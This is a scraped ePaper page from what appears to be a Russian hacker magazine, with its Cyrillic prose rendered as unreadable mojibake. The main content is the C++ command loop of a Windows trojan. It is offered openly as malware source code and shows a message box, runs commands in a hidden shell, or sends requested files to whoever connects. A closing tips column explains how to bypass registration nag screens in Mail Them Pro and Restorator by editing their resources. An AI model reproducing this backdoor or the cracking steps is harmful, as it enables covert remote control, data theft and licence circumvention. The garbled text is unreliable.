12.04.2014 Views

БОЕВЫЕ РОБОТЫ:

БОЕВЫЕ РОБОТЫ:

БОЕВЫЕ РОБОТЫ:

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

Break<br />

Ëèñòèíã ComandLoop’à<br />

char type[2], buf[126];<br />

while(true){<br />

SOCKET hack_Sock = accept(listet_Sock,0,0);<br />

while(true){<br />

int i = recv(hack_Sock, type, 2, 0);<br />

recv(hack_Sock, buf, 126, 0);<br />

if ((i== SOCKET_ERROR)||(i == 0)) break;<br />

if (type[0] == ‘m’) MessageBox(0,buf,»Hacked =)»,0);<br />

else if (type[0] == ‘e’) {<br />

char buf_command[129] = «/c «;<br />

strcat(buf_command,buf);<br />

ShellExecuteA(NULL, «open», «cmdexe», buf_command, NULL, SW_HIDE);<br />

}else if (type[0] == ‘f’) {<br />

HANDLE hFile =<br />

CreateFile(buf,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_AT<br />

TRIBUTE_NORMAL,NULL);<br />

if (hFile != INVALID_HANDLE_VALUE){<br />

DWORD dwBytesRead;<br />

char buff[4096];<br />

do if (ReadFile(hFile, buff, 4096, &dwBytesRead, NULL))<br />

send(hack_Sock,buff,4096,0);<br />

while (dwBytesRead == 4096);<br />

break;<br />

}<br />

CloseHandle(hFile);<br />

}<br />

}<br />

shutdown(hack_Sock,1);<br />

closesocket(hack_Sock);<br />

}<br />

Òåìà íàïèñàíèÿ òðîÿíà ïîä windows, êàê è ïîä ëþáóþ äðóãóþ îïåðàöèîíêó, î÷åíü<br />

îáøèðíà, è ìû ðàññìîòðåëè ëèøü ìà-à-àëåíüêóþ åå ÷àñòü Åñëè òåáå èíòåðåñíî<br />

óçíàòü î òðîÿíàõ ïîäðîáíåå, íàïðèìåð, î ñòåëñ-òåõíîëîãèÿõ è îá îñóùåñòâëåíèè<br />

õèòðûõ ôóíêöèé, ïèøè ìíå, è ÿ ïîñòàðàþñü ïîìî÷ü ñ èíôîé Ïîëíûå èñõîäíèêè<br />

òðîÿíà è êëèåíòà ñ ïðîåêòîì äëÿ VC++ NET òû ìîæåøü ñêà÷àòü ñ ñàéòà<br />

wwwxakepru<br />

Íà ýòîì âñå Óäà÷íîãî êîìïèëèðîâàíèÿ<br />

Tips&Tricks<br />

 ñòàòüå CRACKING: øàã âòîðîé<br />

(¹45, ñòð 40) ðàññêàçûâàåòñÿ<br />

îá óäàëåíèè nag-îêíà íà ïðèìåðå<br />

Mail Them Pro Òàê âîò, ýòîò<br />

ñîâåò äëÿ òåõ, êòî íå õî÷åò âîçèòüñÿ<br />

ñ äèçàññåìáëåðàìè è îòëàä÷èêàìè<br />

Áåðåì ëþáîé ðåäàêòîð<br />

ðåñóðñîâ (Restorator,<br />

ResHacker), îòêðûâàåì â íåì<br />

Mail Them Pro  ðàçäåëå RCData<br />

íàõîäèì ôîðìó nag-îêíà (TREG-<br />

FORM) è ïîñëå ñòðîêè OnCreate<br />

= FormCreate äîáàâëÿåì ñîáûòèå<br />

OnPaint = BitBtn1Click, òå<br />

òåïåðü ïðîãðàììà áóäåò ñàìà<br />

"íàæèìàòü" êíîïî÷êó "I Agree"<br />

Îáúÿñíÿþ: ïîñìîòðè íèæå íà ñîáûòèå<br />

OnClik êíîïêè BitBtn1 ("I<br />

Agree") Ïðè ïðîðèñîâêå ôîðìû<br />

âûïîëíÿåòñÿ êîä, êîòîðûé âûïîëíÿåòñÿ<br />

ïðè íàæàòèè íà êíîïêó<br />

"I Agree" À âîò ÷òî ìîæíî ñäåëàòü<br />

ñ nag-îêíàìè, íà êîòîðûõ<br />

íåêîòîðîå âðåìÿ êíîïêè ÿâëÿþòñÿ<br />

íå àêòèâíûìè, ÷òî âûíóæäàåò<br />

òåáÿ æäàòü Ðàññìîòðèì íà ïðèìåðå<br />

òîãî æå Restorator'à Äåëàåì<br />

òàê: îòêðûâàåì åãî â ðåäàêòîðå,<br />

íàõîäèì ôîðìó TENTERREG-<br />

FOR è äîáàâëÿåì íà íåé êíîïêó ñ<br />

ïàðàìåòðîì Cancel = True (ìîæíî<br />

ïðîñòî ñêîïèðîâàòü êíîïêó<br />

BCancel, èçìåíèâ çíà÷åíèå ïàðàìåòðà<br />

Left (ðàñïîëîæåíèå<br />

êíîïêè îòíîñèòåëüíî ëåâîãî êðàÿ<br />

ôîðìû) è åå èìÿ BCancel) Òåïåðü<br />

ïðè çàïóñêå ïðîãðàììû ìû<br />

ìîæåì çàêðûòü nag-îêíî, íàæàâ<br />

íà ñîçäàííóþ íàìè êíîïêó, íå<br />

äîæèäàÿñü àêòèâèçèðîâàíèÿ<br />

"ñòàíäàðòíûõ" êíîïîê<br />

Äàííûå ìåòîäû ìîãóò èñïîëüçîâàòüñÿ<br />

è äëÿ äðóãèõ ïðîãðàìì,<br />

íàïèñàííûõ íà Delphi èëè C++<br />

Builder<br />

Sinicin<br />

ivashkin@vsmporu<br />

Õî÷åøü óâèäåòü ñâîè ñîâåòû â<br />

æóðíàëå? Ïðèñûëàé èõ íà àäðåñ<br />

Sklyarov@realxakepru Âåäóùèé<br />

ðóáðèêè Tips&Tricks Èâàí Ñêëÿðîâ

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!